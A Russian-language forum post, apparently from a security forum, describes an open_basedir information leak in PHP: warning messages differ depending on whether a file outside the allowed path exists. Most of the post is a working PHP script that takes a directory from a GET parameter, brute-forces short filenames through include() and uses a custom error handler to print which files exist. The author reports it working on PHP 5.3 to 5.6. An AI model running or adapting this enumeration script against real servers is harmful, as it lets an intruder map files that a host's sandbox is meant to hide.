И еще вариант. Так же разница в тексте ошибки. Если файл существует, то путь до файла вида "/../file.txt" нормализуется до вида "site\file.txt"
Код:
файл сущестует:
Warning: include(): open_basedir restriction in effect. File(D:\site\file.txt) is not within the allowed path(s): (d:/site/www/) .....
файл отсутствует:
Warning: include(): open_basedir restriction in effect. File(../file1.txt) is not within the allowed path(s): (d:/site/www/) .....
Код:
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors',1);
ini_set('error_reporting', E_ALL);
ini_set('log_errors', 0);
ini_set('html_errors',0);
ini_set('max_execution_time',0);
$alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
$alphabet_len = strlen($alphabet);
$maxlength = 1;
$str = '';
$dir = '../';
if (isset($_GET['dir'])) {
$dir = $_GET['dir'];
}
$ext = '';
if (isset($_GET['ext'])) {
$ext = $_GET['ext'];
if (isset($ext[0]) && $ext[0] != '.') {
$ext = '.'.$ext;
}
}
function inc($s,$i) {
global $alphabet_len;
if(!isset($s[$i])) {
$s[$i] = 0;
return $s;
}
if($s[$i] + 1 == $alphabet_len) {
$s[$i] = 0;
$s = inc($s,$i+1);
} else {
$s[$i]++;
}
return $s;
}
function check3($s) {
global $str,$alphabet,$dir,$ext;
$str = 'a';
for($i = 0; $i < count($s); $i++) {
$str[$i] = $alphabet[$s[$i]];
}
include $dir.'/./'.$str.$ext;
}
function eh($errno, $errstr, $errfile, $errline) {
global $str, $ext;
if (substr_count($errstr, '/./') == 0) {
echo $str.$ext.'<br/>';
}
}
set_error_handler("eh");
echo 'open_basedir = '.ini_get('open_basedir').'<br>';
$s = array();
while(count($s = inc($s,0)) <= $maxlength) {
check3($s);
}
echo '<br>end';
?>
проверил на
php 5.3.3
php 5.4.4
php 5.6.1 (windows)